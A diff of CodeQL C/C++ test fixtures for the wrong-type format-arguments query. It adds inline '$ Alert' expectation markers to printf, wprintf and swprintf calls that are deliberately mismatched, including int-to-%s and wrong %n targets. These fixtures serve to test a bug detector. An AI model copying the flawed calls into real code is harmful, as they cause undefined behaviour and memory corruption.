@@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/second.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/second.cpp index 0345e8352bee..e1c086f235ad 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/second.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/second.cpp @@ -23,10 +23,10 @@ void test_size_t() { printf("%zi", &buffer[1023] - buffer); // GOOD printf("%zu", &buffer[1023] - buffer); // GOOD printf("%zx", &buffer[1023] - buffer); // GOOD - printf("%d", &buffer[1023] - buffer); // BAD + printf("%d", &buffer[1023] - buffer); // BAD // $ Alert printf("%ld", &buffer[1023] - buffer); // DUBIOUS [NOT DETECTED] printf("%lld", &buffer[1023] - buffer); // DUBIOUS [NOT DETECTED] - printf("%u", &buffer[1023] - buffer); // BAD + printf("%u", &buffer[1023] - buffer); // BAD // $ Alert // (for the `%ld` and `%lld` cases, the signedness and type sizes match, `%zd` would be most correct // and robust but the developer may know enough to make this safe) } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/tests.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/tests.c index c5b3d1df493a..fa1d7a7ff327 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/tests.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Buildless/tests.c @@ -4,7 +4,7 @@ int printf(const char * format, ...); int fprintf(); void f(UNKNOWN_CHAR * str) { - printf("%s", 1); // BAD + printf("%s", 1); // BAD // $ Alert printf("%s", implicit_function()); // GOOD - we should ignore the type sprintf(0, "%s", ""); // GOOD fprintf(0, "%s", ""); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/tests.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/tests.c index f94e01251eec..19e84bf15178 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/tests.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Builtin/tests.c @@ -1,5 +1,5 @@ void f() { char buf[35]; - __builtin___sprintf_chk(buf, 0, __builtin_object_size(buf, 1), "%s", 1); + __builtin___sprintf_chk(buf, 0, __builtin_object_size(buf, 1), "%s", 1); // $ Alert __builtin___sprintf_chk(buf, 0, __builtin_object_size(buf, 1), "%d", 1); } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/tests.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/tests.cpp index 5762ded379db..0024faa557eb 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/tests.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_byte_wprintf/tests.cpp @@ -15,34 +15,34 @@ void tests() { char16_t buffer[BUF_SIZE]; printf("%s", "Hello"); // GOOD - printf("%s", u"Hello"); // BAD: expecting char - printf("%s", L"Hello"); // BAD: expecting char + printf("%s", u"Hello"); // BAD: expecting char // $ Alert + printf("%s", L"Hello"); // BAD: expecting char // $ Alert - printf("%S", "Hello"); // BAD: expecting wchar_t or char16_t + printf("%S", "Hello"); // BAD: expecting wchar_t or char16_t // $ Alert printf("%S", u"Hello"); // GOOD printf("%S", L"Hello"); // GOOD wprintf(L"%s", "Hello"); // GOOD - wprintf(L"%s", u"Hello"); // BAD: expecting char + wprintf(L"%s", u"Hello"); // BAD: expecting char // $ Alert wprintf(L"%s", L"Hello"); // BAD: expecting char [NOT DETECTED; correct on Microsoft platforms] wprintf(L"%S", "Hello"); // BAD: expecting wchar_t [NOT DETECTED; correct on Microsoft platforms] - wprintf(L"%S", u"Hello"); // BAD: expecting wchar_t + wprintf(L"%S", u"Hello"); // BAD: expecting wchar_t // $ Alert wprintf(L"%S", L"Hello"); // GOOD swprintf(buffer, BUF_SIZE, u"%s", "Hello"); // GOOD swprintf(buffer, BUF_SIZE, u"%s", u"Hello"); // BAD: expecting char [NOT DETECTED; correct on Microsoft platforms] - swprintf(buffer, BUF_SIZE, u"%s", L"Hello"); // BAD: expecting char + swprintf(buffer, BUF_SIZE, u"%s", L"Hello"); // BAD: expecting char // $ Alert swprintf(buffer, BUF_SIZE, u"%S", "Hello"); // BAD: expecting char16_t [NOT DETECTED; correct on Microsoft platforms] swprintf(buffer, BUF_SIZE, u"%S", u"Hello"); // GOOD - swprintf(buffer, BUF_SIZE, u"%S", L"Hello"); // BAD: expecting char16_t + swprintf(buffer, BUF_SIZE, u"%S", L"Hello"); // BAD: expecting char16_t // $ Alert swprintf(buffer, BUF_SIZE, u"%hs", "Hello"); // GOOD - swprintf(buffer, BUF_SIZE, u"%hs", u"Hello"); // BAD: expecting char - swprintf(buffer, BUF_SIZE, u"%hs", L"Hello"); // BAD: expecting char + swprintf(buffer, BUF_SIZE, u"%hs", u"Hello"); // BAD: expecting char // $ Alert + swprintf(buffer, BUF_SIZE, u"%hs", L"Hello"); // BAD: expecting char // $ Alert - swprintf(buffer, BUF_SIZE, u"%ls", "Hello"); // BAD: expecting char16_t + swprintf(buffer, BUF_SIZE, u"%ls", "Hello"); // BAD: expecting char16_t // $ Alert swprintf(buffer, BUF_SIZE, u"%ls", u"Hello"); // GOOD - swprintf(buffer, BUF_SIZE, u"%ls", L"Hello"); // BAD: expecting char16_t + swprintf(buffer, BUF_SIZE, u"%ls", L"Hello"); // BAD: expecting char16_t // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_32.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_32.cpp index 3c9b802a7a74..7f2f3fb8d675 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_32.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_32.cpp @@ -11,7 +11,7 @@ void test_32() void *void_ptr; printf("%li", l); // GOOD - printf("%li", void_ptr); // BAD - printf("%p", l); // BAD + printf("%li", void_ptr); // BAD // $ Alert + printf("%p", l); // BAD // $ Alert printf("%p", void_ptr); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_64.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_64.cpp index 6b38c4e0245c..05b3d950b199 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_64.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_mixed_word_size/tests_64.cpp @@ -11,7 +11,7 @@ void test_64() void *void_ptr; printf("%li", l); // GOOD - printf("%li", void_ptr); // BAD - printf("%p", l); // BAD + printf("%li", void_ptr); // BAD // $ Alert + printf("%p", l); // BAD // $ Alert printf("%p", void_ptr); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/format.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/format.h index 889dd2f58c8c..e5421e760a37 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/format.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/format.h @@ -13,5 +13,5 @@ static void error(int x1, int x2, int x3, int x4, int x5, void format2(char *str, int i, double d) { error(1, 2, 3, 4, 5, "%s %d %f", 1, 2, 3, 4, 5, 6, 7, str, i, d); - error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); + error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux.cpp index 9b26de4f54ef..971fa07446d0 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux.cpp @@ -12,7 +12,7 @@ struct S { template void template_func_calling_printf(S &obj) { ::printf("%d\n", obj.get_int()); - ::printf("%d\n", obj.get_template_value()); + ::printf("%d\n", obj.get_template_value()); // $ Alert } void instantiate() { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux_c.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux_c.c index bc6468c593b5..75af114da683 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux_c.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/linux_c.c @@ -8,5 +8,5 @@ void restrict_cases(char * restrict str1, const char * restrict str2, short * re { printf("%s", str1); // GOOD printf("%s", str2); // GOOD - printf("%s", str3); // BAD + printf("%s", str3); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/pri_macros.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/pri_macros.h index 782ee23faf30..2222b7e42518 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/pri_macros.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/pri_macros.h @@ -12,5 +12,5 @@ void test_PRI_macros() { printf("my_u64 = %" PRIu64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIx64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIi64 "\n", my_u64); // BAD: uint64_t read as int64_t [NOT DETECTED] - printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t + printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/printf1.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/printf1.h index 2cc67497c6e1..7157e8fbb6e2 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/printf1.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/printf1.h @@ -9,22 +9,22 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char const char cc = 'x'; printf("%s: %d\n", s, i); // ok - printf("%s: %f\n", s, i); // not ok (int -> float) + printf("%s: %f\n", s, i); // not ok (int -> float) // $ Alert printf("%s", us); // ok printf("%s", cs); // ok printf("%s", ss); // ok printf("%p", cs); // ok - printf("%p", i); // not ok (int -> void *) + printf("%p", i); // not ok (int -> void *) // $ Alert printf("%p", &f); // ok printf("%*s", i, cs); // ok printf("%*s", mi, cs); // ok printf("%*s", c, cs); // ok printf("%*s", cc, cs); // ok - printf("%*s", i, i); // not ok (int -> char *) + printf("%*s", i, i); // not ok (int -> char *) // $ Alert printf("%d %% %*s", i, i, cs); // ok - printf("%*s", cs, cs); // not ok (the width argument should be integer) + printf("%*s", cs, cs); // not ok (the width argument should be integer) // $ Alert printf("%c", 10); // ok printf("%c", 1000); // not ok [NOT DETECTED] @@ -35,15 +35,15 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char printf("%u", 1000); // ok printf("%i", MYONETHOUSAND); // ok - printf("%s", MYONETHOUSAND); // not ok (enum -> char *) + printf("%s", MYONETHOUSAND); // not ok (enum -> char *) // $ Alert printf("%c", MYONETHOUSAND); // not ok (enum -> char) [NOT DETECTED] printf("%i", mi); // ok printf("%u", mi); // not ok (int -> unsigned int) [NOT DETECTED] - printf("%d", ull); // not ok (unsigned long long -> int) - printf("%u", ull); // not ok (unsigned long long -> unsigned int) - printf("%x", ull); // not ok (unsigned long long -> unsigned int) + printf("%d", ull); // not ok (unsigned long long -> int) // $ Alert + printf("%u", ull); // not ok (unsigned long long -> unsigned int) // $ Alert + printf("%x", ull); // not ok (unsigned long long -> unsigned int) // $ Alert printf("%Lx", ull); // ok printf("%llx", ull); // ok } @@ -110,8 +110,8 @@ void extensions() printf("%Lg", ld); // GOOD printf("%llg", ld); // GOOD (nonstandard equivalent to %Lg) - printf("%Lg", d); // BAD (should be %g) - printf("%llg", d); // BAD (should be %g) + printf("%Lg", d); // BAD (should be %g) // $ Alert + printf("%llg", d); // BAD (should be %g) // $ Alert } { @@ -144,8 +144,8 @@ void fun4() long long ll; unsigned long long ull; - printf("%qi\n", i); // BAD - printf("%qu\n", ui); // BAD + printf("%qi\n", i); // BAD // $ Alert + printf("%qu\n", ui); // BAD // $ Alert printf("%qi\n", l); // GOOD printf("%qu\n", ul); // GOOD printf("%qi\n", ll); // GOOD @@ -157,82 +157,82 @@ void complexFormatSymbols(int i, const char *s) // positional arguments printf("%1$i", i, s); // GOOD printf("%2$s", i, s); // GOOD - printf("%1$s", i, s); // BAD - printf("%2$i", i, s); // BAD + printf("%1$s", i, s); // BAD // $ Alert + printf("%2$i", i, s); // BAD // $ Alert // width / precision printf("%4i", i); // GOOD printf("%.4i", i); // GOOD printf("%4.4i", i); // GOOD - printf("%4s", i); // BAD - printf("%.4s", i); // BAD - printf("%4.4s", i); // BAD + printf("%4s", i); // BAD // $ Alert + printf("%.4s", i); // BAD // $ Alert + printf("%4.4s", i); // BAD // $ Alert printf("%4s", s); // GOOD printf("%.4s", s); // GOOD printf("%4.4s", s); // GOOD - printf("%4i", s); // BAD - printf("%.4i", s); // BAD - printf("%4.4i", s); // BAD + printf("%4i", s); // BAD // $ Alert + printf("%.4i", s); // BAD // $ Alert + printf("%4.4i", s); // BAD // $ Alert // variable width / precision printf("%*s", i, s); // GOOD - printf("%*s", s, s); // BAD - printf("%*s", i, i); // BAD + printf("%*s", s, s); // BAD // $ Alert + printf("%*s", i, i); // BAD // $ Alert printf("%.*s", i, s); // GOOD - printf("%.*s", s, s); // BAD - printf("%.*s", i, i); // BAD + printf("%.*s", s, s); // BAD // $ Alert + printf("%.*s", i, i); // BAD // $ Alert printf("%*.4s", i, s); // GOOD - printf("%*.4s", s, s); // BAD - printf("%*.4s", i, i); // BAD + printf("%*.4s", s, s); // BAD // $ Alert + printf("%*.4s", i, i); // BAD // $ Alert printf("%4.*s", i, s); // GOOD - printf("%4.*s", s, s); // BAD - printf("%4.*s", i, i); // BAD + printf("%4.*s", s, s); // BAD // $ Alert + printf("%4.*s", i, i); // BAD // $ Alert printf("%*.*s", i, i, s); // GOOD - printf("%*.*s", s, i, s); // BAD - printf("%*.*s", i, s, s); // BAD - printf("%*.*s", i, i, i); // BAD + printf("%*.*s", s, i, s); // BAD // $ Alert + printf("%*.*s", i, s, s); // BAD // $ Alert + printf("%*.*s", i, i, i); // BAD // $ Alert // positional arguments mixed with variable width / precision printf("%2$*1$s", i, s); // GOOD - printf("%2$*2$s", i, s); // BAD - printf("%1$*1$s", i, s); // BAD + printf("%2$*2$s", i, s); // BAD // $ Alert + printf("%1$*1$s", i, s); // BAD // $ Alert printf("%2$*1$.4s", i, s); // GOOD - printf("%2$*2$.4s", i, s); // BAD - printf("%1$*1$.4s", i, s); // BAD + printf("%2$*2$.4s", i, s); // BAD // $ Alert + printf("%1$*1$.4s", i, s); // BAD // $ Alert printf("%2$.*1$s", i, s); // GOOD - printf("%2$.*2$s", i, s); // BAD - printf("%1$.*1$s", i, s); // BAD + printf("%2$.*2$s", i, s); // BAD // $ Alert + printf("%1$.*1$s", i, s); // BAD // $ Alert printf("%2$4.*1$s", i, s); // GOOD - printf("%2$4.*2$s", i, s); // BAD - printf("%1$4.*1$s", i, s); // BAD + printf("%2$4.*2$s", i, s); // BAD // $ Alert + printf("%1$4.*1$s", i, s); // BAD // $ Alert printf("%2$*1$.*1$s", i, s); // GOOD - printf("%2$*2$.*1$s", i, s); // BAD - printf("%2$*1$.*2$s", i, s); // BAD - printf("%1$*1$.*1$s", i, s); // BAD + printf("%2$*2$.*1$s", i, s); // BAD // $ Alert + printf("%2$*1$.*2$s", i, s); // BAD // $ Alert + printf("%1$*1$.*1$s", i, s); // BAD // $ Alert // left justify flag printf("%-4s", s); // GOOD printf("%1$-4s", s); // GOOD - printf("%-4i", s); // BAD - printf("%1$-4i", s); // BAD + printf("%-4i", s); // BAD // $ Alert + printf("%1$-4i", s); // BAD // $ Alert printf("%1$-4s", s, i); // GOOD - printf("%2$-4s", s, i); // BAD + printf("%2$-4s", s, i); // BAD // $ Alert printf("%1$-.4s", s, i); // GOOD - printf("%2$-.4s", s, i); // BAD + printf("%2$-.4s", s, i); // BAD // $ Alert printf("%1$-4.4s", s, i); // GOOD - printf("%2$-4.4s", s, i); // BAD + printf("%2$-4.4s", s, i); // BAD // $ Alert printf("%1$-*2$s", s, i); // GOOD - printf("%2$-*2$s", s, i); // BAD - printf("%1$-*1$s", s, i); // BAD + printf("%2$-*2$s", s, i); // BAD // $ Alert + printf("%1$-*1$s", s, i); // BAD // $ Alert } void myvsnprintf(const char *format_string, char *target, size_t buffer_size, va_list args) @@ -273,7 +273,7 @@ void usemyprintf(int i, char *s) char buffer[1024]; mysprintf("%i", buffer, 1024, i); // GOOD - mysprintf("%i", buffer, 1024, s); // BAD + mysprintf("%i", buffer, 1024, s); // BAD // $ Alert myprintf("%i", i); // GOOD - myprintf("%i", s); // BAD + myprintf("%i", s); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/real_world.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/real_world.h index eefb84993e74..6e592a95dc04 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/real_world.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/real_world.h @@ -58,9 +58,9 @@ void bar() printf("check %n", &i); // GOOD printf("check %n", &ui); // GOOD [dubious: int is written to unsigned int] printf("check %n", &si); // GOOD - printf("check %n", &s); // BAD: int is written to short - printf("check %hn", &i); // BAD: short is written to int - printf("check %hn", &ui); // BAD: short is written to unsigned int - printf("check %hn", &si); // BAD: short is written to signed int + printf("check %n", &s); // BAD: int is written to short // $ Alert + printf("check %hn", &i); // BAD: short is written to int // $ Alert + printf("check %hn", &ui); // BAD: short is written to unsigned int // $ Alert + printf("check %hn", &si); // BAD: short is written to signed int // $ Alert printf("check %hn", &s); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/wide_string.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/wide_string.h index 73bdee5b8b11..65042f843003 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/wide_string.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_signed_chars/wide_string.h @@ -22,7 +22,7 @@ void test_wchar4(char c, const char cc, wchar_t wc, const wchar_t wcc) { printf("%c", c); // GOOD printf("%c", cc); // GOOD printf("%c", 'c'); // GOOD - printf("%c", "c"); // BAD + printf("%c", "c"); // BAD // $ Alert printf("%wc", wc); // GOOD printf("%wc", wcc); // GOOD printf("%wc", L'c'); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/printf.cpp b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/printf.cpp index 596e7ac73fc3..7eaeefab48e3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/printf.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_two_byte_wprintf/printf.cpp @@ -40,12 +40,12 @@ void test2() { void test3() { char string[20]; - sprintf(string, "test %s", u"test"); // BAD: `char16_t` string parameter read as `char` string + sprintf(string, "test %s", u"test"); // BAD: `char16_t` string parameter read as `char` string // $ Alert } void test4() { char string[20]; - sprintf(string, "test %S", L"test"); // BAD: `wchar_t` string parameter read as `char16_t` string + sprintf(string, "test %S", L"test"); // BAD: `wchar_t` string parameter read as `char16_t` string // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/format.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/format.h index 889dd2f58c8c..e5421e760a37 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/format.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/format.h @@ -13,5 +13,5 @@ static void error(int x1, int x2, int x3, int x4, int x5, void format2(char *str, int i, double d) { error(1, 2, 3, 4, 5, "%s %d %f", 1, 2, 3, 4, 5, 6, 7, str, i, d); - error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); + error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/pri_macros.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/pri_macros.h index 782ee23faf30..2222b7e42518 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/pri_macros.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/pri_macros.h @@ -12,5 +12,5 @@ void test_PRI_macros() { printf("my_u64 = %" PRIu64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIx64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIi64 "\n", my_u64); // BAD: uint64_t read as int64_t [NOT DETECTED] - printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t + printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/printf1.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/printf1.h index 60ee2c8caade..6b2151e013b1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/printf1.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/printf1.h @@ -9,22 +9,22 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char const char cc = 'x'; printf("%s: %d\n", s, i); // ok - printf("%s: %f\n", s, i); // not ok (int -> float) + printf("%s: %f\n", s, i); // not ok (int -> float) // $ Alert printf("%s", us); // ok printf("%s", cs); // ok printf("%s", ss); // ok printf("%p", cs); // ok - printf("%p", i); // not ok (int -> void *) + printf("%p", i); // not ok (int -> void *) // $ Alert printf("%p", &f); // ok printf("%*s", i, cs); // ok printf("%*s", mi, cs); // ok printf("%*s", c, cs); // ok printf("%*s", cc, cs); // ok - printf("%*s", i, i); // not ok (int -> char *) + printf("%*s", i, i); // not ok (int -> char *) // $ Alert printf("%d %% %*s", i, i, cs); // ok - printf("%*s", cs, cs); // not ok (the width argument should be integer) + printf("%*s", cs, cs); // not ok (the width argument should be integer) // $ Alert printf("%c", 10); // ok printf("%c", 1000); // not ok [NOT DETECTED] @@ -35,15 +35,15 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char printf("%u", 1000); // ok 